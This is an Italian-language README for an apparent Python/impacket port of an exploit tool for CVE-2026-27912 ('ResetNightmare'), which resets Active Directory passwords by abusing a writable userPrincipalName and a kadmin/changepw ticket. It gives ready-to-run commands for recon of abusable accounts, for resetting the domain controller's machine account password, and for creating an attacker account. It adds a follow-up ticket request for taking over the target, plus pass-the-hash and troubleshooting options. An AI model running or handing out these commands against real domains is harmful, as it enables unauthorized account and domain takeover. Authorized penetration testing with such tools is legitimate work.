
CVE-2026-27912 (ResetNightmare) — port Linux/impacket del PoC Invoke-ResetNightmare della Semperis Community
Strumentazione Linux / impacket per CVE-2026-27912 ("ResetNightmare"). Reimposta la password di un account Active Directory bersaglio richiedendo un TGT kadmin/changepw per un principal NT_ENTERPRISE il cui nome è il sAMAccountName del bersaglio, usando un account (UPNUser) su cui possiamo scrivere un userPrincipalName fittizio.
Porting Python dello strumento PowerShell Semperis Community Invoke-ResetNightmare (vedi Credits).
Solo per test di sicurezza autorizzati e uso didattico. Questo strumento modifica credenziali Active Directory reali e può bloccare account.
GenericAll, imposta la sua password e abilitalo.sAMAccountName del bersaglio.UPNUser.userPrincipalName = <targetSAN> (lo UPN fittizio).NT_ENTERPRISE '<targetSAN>' per kadmin/changepw — il KDC associa lo UPN enterprise al bersaglio ed emette un TGT di cambio password per esso.python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Le credenziali dell'operatore sono il primo argomento posizionale: [domain/]username[:password]. Qualsiasi password può essere omessa e ti verrà richiesta.
Recon — cosa può abusare di questo account? Segnala gli account su cui puoi scrivere uno UPN, le OU in cui puoi creare oggetti e la MachineAccountQuota, con i comandi suggeriti:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Reimposta un bersaglio usando un account su cui puoi scrivere uno UPN:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Crea prima l'account UPN (richiede il diritto Create Child sulla OU e LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Aggiungi -debug per un logging dettagliato di AS-REQ / LDAP / kpasswd.
Le password vengono richieste in modo interattivo quando omesse.
Errori di --create-new-path:
Note:
unicodePwd solo su TLS, quindi --create-new-path lo richiede. Usa --no-ssl solo per percorsi di sola lettura/UPN.--find segnala solo le ACE di consenso (allow) concesse a te o ai tuoi gruppi (più la proprietà degli oggetti e la MachineAccountQuota); le ACE di diniego (deny) e le appartenenze cross-domain non sono valutate completamente. Un risultato vuoto non è la prova che non esista un percorso: verifica prima dell'uso.Lo strumento stampa un comando successivo per ottenere un ticket utilizzabile come bersaglio:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare che questo progetto porta.ldaptypes.Porting comunitario indipendente; non affiliato a Semperis né da essa approvato.
MIT © 2026 mihat2.
| Flag | Significato |
|---|
<positional> | Credenziali operatore: [domain/]username[:password] |
--target-account | sAMAccountName da reimpostare (gli account computer terminano con $) |
--target-new-password | Nuova password da impostare sul bersaglio |
--upn-user | Account su cui scrivere lo UPN fittizio (o da creare con --create-new-path) |
--upn-user-password | Password in chiaro di --upn-user |
--computer | Tratta --upn-user come un account computer |
--create-new-path <DN> | OU/Contenitore in cui creare prima --upn-user (richiede LDAPS) |
--find | Recon: segnala account/OU abusabili + comandi suggeriti, poi esci |
--list-ous | Elenca le OU/contenitori ed esci (scegli un --create-new-path valido) |
--aes-key <hex> | Chiave AES di --upn-user per l'AS-REQ al posto della password |
--upn-user-hash <NT> | Hash NT (o LM:NT) di --upn-user per l'AS-REQ al posto della password |
-k, --kerberos | Bind LDAP Kerberos (SASL/GSSAPI) (usa KRB5CCNAME) |
-H LM:NT | Bind LDAP Pass-the-hash (NTLM) |
--no-pass | Non richiedere la password (usa -k / KRB5CCNAME) |
--dc-host | Hostname/FQDN del DC (per gli SPN Kerberos) |
--dc-ip | Indirizzo IP del DC |
--no-ssl | LDAP semplice/389 (incompatibile con --create-new-path) |
--supported-encryption | Enctype preferito, informativo (default aes256) |
-debug | Logging dettagliato |
| Sintomo | Causa | Soluzione |
|---|
result 50, insufficientAccessRights | La OU esiste ma non hai il diritto Create Child su di essa. | Usa una OU su cui puoi scrivere (--list-ous / --find), oppure rimuovi --create-new-path e abusa di un account esistente tramite --upn-user. |
result 32, noSuchObject — best match: DC=corp,DC=local | La catena genitore del DN non esiste (DN parziale/indovinato). | Enumera con --list-ous e incolla il DN annidato completo. Le OU sono annidate; un nome da solo non è il suo percorso. |
result 53, unwillingToPerform al passaggio della password | Scrittura di unicodePwd su un canale non-TLS, oppure password debole rispetto ai criteri. | Mantieni LDAPS (non passare --no-ssl); usa una password conforme. |